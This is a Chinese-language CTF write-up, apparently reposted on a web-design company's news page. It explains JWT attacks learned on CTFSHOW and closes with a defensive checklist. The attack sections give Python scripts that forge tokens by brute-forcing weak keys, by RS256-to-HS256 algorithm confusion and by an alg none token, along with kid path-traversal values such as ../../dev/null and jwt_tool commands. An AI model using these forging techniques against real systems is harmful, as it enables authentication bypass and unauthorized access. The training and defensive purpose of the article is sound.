ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

CTF实战拆解:JWT攻击面与防御指南

CTF实战拆解:JWT攻击面与防御指南 1. 先说清楚CTF里的JWT到底在考什么我在CTFSHOW刷Web题的时候发现一个很有意思的现象凡是跟登录、认证、会话相关的题目十道里有八道会跟JWT挂钩。很多新手一看题目描述里写着JWT就直接发怵觉得这是什么高深莫测的密码学机制。实际上CTF里的JWT题考的根本不是密码学知识而是你能不能发现一套认证体系在落地实现时犯下的低级错误。JSON Web Token说人话就是一套服务器发给浏览器的通行证。你登录成功之后服务器不给你存session而是直接给你发一张写好了身份信息的通行证你后续每次请求都把这玩意儿带上服务器验一下签名就知道你是谁了。听起来挺合理对吧问题是这张通行证的设计本身有个特点——它是自包含的也就是说身份信息直接写在token里任何人都能读得到只不过没有合法签名的人改不了。这个特性放在生产环境里配合各种不严谨的实现就变成了CTF出题人最喜欢的素材库。我在CTFSHOW的JWT系列里基本上把这几类考法见了个遍弱密钥爆破、算法混淆、none算法绕过、kid参数注入、敏感信息泄露。下面我把每一类的原理、题目特征和实战解法拆开讲清楚你照着这套思路去刷基本能覆盖九成以上的JWT题目。2. 拿到JWT题的第一步先学会看一张token上写了什么2.1 三段式结构的读法JWT长成什么样你随便拿一个它一定是三串用点号分隔的乱码大概是这种感觉eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MzAwMDAwMDB9.sQ2WTH4Y1VJ0vXyKq5X8mN7FkVcTjLH7G2jXsQnPvGg三段的含义分别是header头部、payload负载、signature签名。CTF里第一步永远是解码不是爆破。把前两段扔进Base64解码你会看到类似这样的东西// header {alg:HS256,typ:JWT} // payload {username:admin,role:user,exp:1730000000}header里最关键的是alg字段它声明了签名算法payload里就是身份信息常见的有用户名、角色、过期时间、邮箱、用户ID之类的。注意这两段是明文编码不是加密任何拿到token的人都能看内容。所以我在CTFSHOW上遇到过不止一道题flag就直接躺在payload里。那种题最没技术含量但恰恰说明很多初学者连解码这一步都没做。2.2 签名到底怎么算的第三段签名不是随便长的它是对base64(header) . base64(payload)这两段内容做了一次哈希运算后得到的。不同算法算出来的东西不一样HS256用同一个密钥进行HMAC-SHA256运算。密钥就是一个字符串服务器和客户端都。但实际场景里服务器自己拿着密钥客户端只负责带着token来回跑。RS256用私钥签名、公钥验签的非对称算法。服务器持有私钥任何人拿到公钥都可以验证token真伪但只有服务器能签发。HS256和RS256的区别在CTF里直接决定了攻击路径。HS256是一把钥匙走天下如果这把钥匙太弱比如短密码、常见单词你就可以离线暴力破解RS256是私钥签名公钥验证看起来很安全但如果你能骗服务器改用HS256去验签一串本来用RS256签发的token那就出大事了。这里我建议你记住一个判断技巧凡是题目里只给你一个token、不给公钥的大概率是HS256弱密钥爆破凡是题目里有单独的publickey文件下载的多半是算法混淆攻击。CTFSHOW上好几道题都是这个套路。3. 从CTFSHOW实战里拆出来的四类攻击手法3.1 第一类弱密钥爆破NSA都拦不住你先说最常见的一类。题目给你一个已登录用户的token怎么拿管理员权限看一眼header里的alg是HS256然后直接上字典爆破密钥。爆破的原理很简单HS256是对header.payload用密钥做了HMAC如果密钥在字典里你就可以用字典里的每个词重新算一遍签名跟token里的第三段比对。一致就是猜中了。我在CTFSHOW刷的一道题header长这样{alg:HS256,typ:JWT}payload里用户名是user目标肯定要改成admin。做法分两步走第一步爆破密钥hashcat -m 16500 jwt.txt dict.txt-m 16500就是JWT的HS256模式。如果机器上没装hashcat用Python脚本也行核心逻辑就是逐个尝试字典里的词计算HMAC比对import hmac import hashlib import base64 def b64url_decode(data): padding * (4 - len(data) % 4) return base64.urlsafe_b64decode(data padding) token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.signature header_payload token.rsplit(., 1)[0] with open(dict.txt, r) as f: for line in f: key line.strip() sign base64.urlsafe_b64encode( hmac.new(key.encode(), header_payload.encode(), hashlib.sha256).digest() ).rstrip() if sign token.rsplit(., 1)[1]: print(f密钥找到了: {key})第二步既然密钥在手直接把payload里的username改成admin重新签一个import jwt token jwt.encode( {username: admin}, key, # 爆破得到的密钥 algorithmHS256 ) print(token)然后拿新token去请求管理员接口拿flag。整个过程思路很简单难的是密钥字典够不够好。CTF里常见的弱密钥就那些secret、admin、123456、password、qwerty、test、key再不行就上rockyou.txt。出题人不可能给个高强度随机密钥否则题就没法做了。3.2 第二类算法混淆攻击把RS256的token塞进HS256的验签流程里这类题在CTFSHOW的JWT专题里几乎是必出现的难度比弱密钥爆破高一档因为它考的是对JWT标准实现缺陷的理解。场景是这样的服务器公开了一个公钥文件比如publickey.pem正常签发用RS256。但服务器在验签的时候没有校验token头里的alg字段跟预期是否一致而是直接信任了token自己声明的算法。攻击流程拿到自己账号的合法token解码出header和payload。把header里的alg从RS256改成HS256。用拿到的公钥内容作为HMAC的密钥对header.payload重新签名。提交这个token服务器一看alg声明的是HS256就真的用公钥字符串当密钥去验签了。为什么能成功因为RS256的公钥是公开的。如果是RS256你拿公钥只能验签、不能伪造但你骗服务器把算法降级成HS256之后公钥就变成了对称密钥。同一个字符串本来只能用来验证现在可以用来伪造。我当时在CTFSHOW上遇到这道题服务器返回500看到publickey.pem下载链接的那一刻基本就锁定了。实现脚本大概长这样import jwt import hmac import hashlib import base64 public_key open(publickey.pem, rb).read() # 原始token original_token eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIifQ.signature header_payload original_token.rsplit(., 1)[0] # 构造新tokenalg改成HS256payload改admin header base64.urlsafe_b64encode( b{alg:HS256,typ:JWT} ).rstrip() payload base64.urlsafe_b64encode( b{username:admin} ).rstrip() signing_input header b. payload signature base64.urlsafe_b64encode( hmac.new(public_key, signing_input, hashlib.sha256).digest() ).rstrip() forged_token signing_input.decode() . signature.decode() print(forged_token)这里有个特别值得注意的细节用公钥字符串当HMAC密钥时是直接用的公钥原始内容不是公钥文件路径。很多新手在写脚本的时候把路径传进去了导致签名对不上调试半天。用Python的jwt库时jwt.encode(payload, public_key, algorithmHS256)直接传公钥内容就能正确生成。3.3 第三类none算法绕过啥钥匙都不用这是一个更古老也更搞笑的漏洞。早期一些JWT库在实现的时候如果header里的alg是none就跳过签名校验。等于说你把alg改成none再随便删掉签名部分服务器就信了。为什么会有这种设计因为JWT标准里允许用none来表示无签名的场景比如内部服务间调用反正内网可信。但问题在于很多库对alg的解析太宽松你传一个None、NONE、nOnE或者none前面加个空格有些解析器就会当成none来处理直接跳过验签。攻击payload如下eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.注意最后有一个点然后是空的签名段。有些工具会自动生成这种token比如jwt_tool就有-a none参数。CTFSHOW上有些题考的就是这个。怎么判断你先把token解出来看alg如果是HS256或者RS256先试着把它改成nonepayload改成管理员签名删掉直接提交。如果服务器返回的响应不再是401或者403而是正常的业务响应那就成了。不过说句实在话这类题目在最近的CTF里越来越少因为主流JWT库基本都堵住了这个洞。但如果你在CTFSHOW的入门级题目里碰到别觉得奇怪——这个平台本来就是从最基础的漏洞开始设计的目的是让你把每个攻击面都走一遍。3.4 第四类header参数注入kid、jku、x5u们的故事这一类在CTF里属于进阶考法CTFSHOW的JWT系列里也有涉及。JWT的header里除了alg和typ还允许一些标准参数比如kidKey ID告诉服务器用哪把密钥来验签。jkuJWK Set URL告诉服务器去哪里取验签密钥。x5uX.509证书URL告诉服务器去哪下载证书。iss签发者某些库会用它去查对应的密钥。这些参数的设计初衷是方便密钥管理但也给攻击者留了口子。最常见的是kid注入场景服务器校验kid对应的值然后从文件系统读取该路径的内容作为密钥。比如伪代码key open(header[kid], r).read()如果kid是/etc/passwd服务器就会把/etc/passwd的内容当成密钥来验签。当然大部分情况你没法预测密钥内容但你可以让kid指向一个你自己可控的文件比如kid指向一个远程URL如果服务器支持http://协议。kid设置成../../dev/null让服务器用空字符串作为密钥。实操技巧如果kid注入可行直接把密钥置空往往是最省事的。/dev/null的内容就是空字符串服务器读出来是然后你用空字符串做HMAC签名就伪造成功了。Python里就是import jwt token jwt.encode({username: admin}, , algorithmHS256, headers{kid: ../../../dev/null})不过这一招能不能成取决于服务器拼接路径的方式。比如kid的值直接作为文件路径拼接在/keys/后面那你得构造../../dev/null去穿越到根目录。jku注入跟kid的思路类似区别在于它是让服务器去一个URL加载JSON格式的密钥集合JWKS。如果你能控制这个URL直接放到自己的服务器上托管一个你自己生成的公钥然后拿对应的私钥签一个token服务器加载了你的公钥后就会信任你的签名。在CTFSHOW上怎么判断是这类题抓包看token的header发现里面有kid、jku、x5u字段或者服务器返回的报错信息里出现了key、file、path、url等字样就往注入方向想。4. 实战复现我在CTFSHOW刷JWT题的完整步骤4.1 前置准备需要哪些工具工具不在多顺手就行。我刷CTFSHOW JWT系列时常用的三件套jwt_tool专门用来打JWT的瑞士军刀支持弱密钥爆破、算法混淆、none绕过、kid注入、jku注入一条命令能完成大半操作。Python PyJWT手工构造token、写脚本时候用灵活度最高。Burp Suite抓包改包发请求改header、替换token、看响应必备。4.2 一轮题目的完整解题链路我在CTFSHOW上随便挑一道JWT题按照以下顺序完整走一遍这套流程可以复用到绝大多数题目上第一步抓包看token长什么样登录一次拿到cookie或者Authorization头里的token先扔到 jwt.io 或者本地解码器里解一下看header和payload的字段。重点关注alg、kid、username、role、admin这些值。第二步判断题目类型解码之后做分类判断。我的判断顺序是观察项可能攻击方式alg为HS256且无公钥下载弱密钥爆破alg为RS256且提供公钥文件算法混淆攻击alg可改成none且服务端信任none算法绕过header里有kid/jku/x5u参数注入类攻击payload里有敏感字段直接解码读数据第三步按判断执行攻击如果是弱密钥爆破直接上jwt_toolpython jwt_tool.py token -C -d dict.txt-C是爆破模式-d指定字典。爆破成功后会告诉你密钥然后自动给你生成一个篡改后的token。如果是算法混淆你先下载公钥wget http://target.com/publickey.pem然后用jwt_tool的-S hs256 -k publickey.pem参数把算法降级python jwt_tool.py token -S hs256 -k publickey.pem第四步提交伪造token验证拿到新token替换掉原本的请求看响应。如果页面上出现了管理员的界面或者接口返回了flag说明成功。如果还是401就看响应体里有没有报错信息报错往往会泄露后端使用的JWT库和版本再去搜对应的绕过姿势。4.3 我在实操中踩过的坑第一个坑Base64 URL编码补位问题。JWT用的是URL安全的Base64编码和/分别用-和_替代而且通常不带填充。在写脚本的时候Python的base64.urlsafe_b64encode会自带你要rstrip()去掉。不然后面的signature对不上。第二个坑字典选不好爆破直接死循环。爆破HS256密钥的时候如果题目的密钥是个随机长字符串你的字典再大也是白搭。CTF里的弱密钥基本上就是那十几个常见的词先试这些再上rockyou。我在CTFSHOW上遇到的题密钥最多的就是secret和key。第三个坑改了payload忘了保证原有字段格式。比如payload原本是{username:user, role:user, exp:1234567}你只改username不改role或者把exp删了服务端校验的时候可能因为缺某个必填字段直接拒绝。最稳妥的办法是在原有payload基础上只改需要的字段别整个替换。5. 怎么防出题人视角下的JWT安全设计做题做多了其实能反过来总结出一套防御清单。CTF里的每一个漏洞对应的都是生产环境中的真实疏漏。你在CTFSHOW上练的这些攻击手法换到真实渗透测试里一样能打。下面几个防御要点我在刷完JWT系列之后深有体会。5.1 密钥管理是第一道防线HS256的弱密钥爆破之所以能成本质是用了强度不够的密钥。生产环境里HS256的密钥至少要有256位熵换算过来是一个32字节的随机字符串而且不能硬编码在代码里更不能不进代码仓库。我在CTF里见过最离谱的把密钥写在config.js里然后公开在GitHub上的。真实渗透测试里很多人就是靠搜代码仓库找到密钥打进去的。推荐的做法是用环境变量或者专门的密钥管理服务KMS来存定期轮换。如果系统已经有非对称密钥的基础设施优先用RS256/ES256私钥永远不离开服务器。5.2 算法白名单和校验必须写死算法混淆攻击的根源是服务端盲目信任token头部声明的alg字段。防御方案其实非常简单在验签代码里硬编码允许的算法列表不允许就拒绝。比如PyJWT里jwt.decode(token, public_key, algorithms[RS256])注意这里algorithms参数必须是明确的[RS256]不能传algorithmsNone或者空列表更不能使用jwt.algorithms.get_default_algorithms()这种把HS256也包含进去的配置。kid、jku这些参数也一样要么不依赖外部输入要么加白名单校验。kid的值应该是一个索引去查后端配置里的密钥映射而不是直接拼接到文件路径上。5.3 敏感信息永远不要写进payload前面说了payload是明文不是加密。很多开发者以为JWT是加密的把手机号、身份证号、内部ID直接丢进去。CTF里有些题离谱到什么程度FLAG就在payload里连攻击都省了。生产环境下如果你只是想保持登录态payload里存个用户ID就够了其他信息需要的时候再去数据库查。如果非要存敏感信息至少要用JWEJSON Web Encryption做加密而不仅仅是JWS签名。5.4 过期时间不是装饰品我看CTFSHOW有些题的token里根本没有exp字段或者有但服务器不校验。真实场景里token过期是一个很重要的安全边界没有过期时间的token一旦泄露等于永久的钥匙。另外提一句refresh token这是大家经常会搜的一个词。JWT实现token续签的正确姿势是短期access token 长期refresh tokenaccess token过期后用refresh token换取新的access token而不是让access token无限期有效。CTF里一般不考刷新流程但你在对接真实业务的时候一定会用到。5.5 日志别把token全量打出来最后提一个很多人忽略的点。JWT里的payload是敏感的如果服务端日志里把整个token原样打印任何能看到日志的人都能解码读到用户信息。那些有权限访问日志平台的内部员工等于是免费看所有用户的身份信息。我在刷题的过程中做过一次复盘如果我是平台的运维我第一件事就是去检查日志里有没有露出token。这个习惯做Web的都建议养成。6. 赛后再深入一步JWT漏洞线上发展的几个方向刷完CTFSHOW的JWT题你其实已经把整个JWT攻击面摸了一遍。但如果想进一步深入还有几个方向值得研究。方向一CTF题型里不常考但真实的攻击链。比如JWT配合OAuth2.0的state参数绕过、open redirect配合jku注入、JWT的c-l换行注入在header里注入换行符伪造多个header字段。我在CTFSHOW上没怎么见过但实际渗透测试里遇到过类似场景。方向二服务端状态与JWT的混合使用。现在很多业务不是纯JWT而是JWT Session Cookie混着用。比如token放在cookie里但走session存储或者JWT里存了session ID。这种混搭往往会产生一些出人意料的边界情况值得研究。方向三JWT库版本的CVE利用。JWT各种语言实现的历史漏洞非常多比如CVE-2015-9235alg混淆、CVE-2016-10555RS256/HS256算法混淆、CVE-2018-0114node-jose的key注入等。去翻一翻这些CVE的公告和利用代码你会对看似安全的标准实现为什么能被绕过有更深刻的理解。对这些感兴趣的直接去GitHub搜索各大JWT库的issue和commit记录比看任何总结文章都管用。我在刷CTFSHOW之后就是这么干的——把每个漏洞对应的修复commit翻出来看搞清楚修了哪里、为什么这么修才真正理解了这个漏洞。话说回来CTF刷题也好研究CVE也好最终的目的都是培养一种肌肉记忆——看到一个token、一个认证接口脑子里能自动浮现出我能怎么打它。这种反应速度是看多少篇博客都换不来的只能靠一道道题喂出来。CTFSHOW的JWT系列是个不错的训练场从入门到进阶的梯度设置得相当平滑你按我上面梳理的这条路线去刷每一个关卡打通的瞬间那种原来如此的感觉就是这行最上头的时刻。
返回列表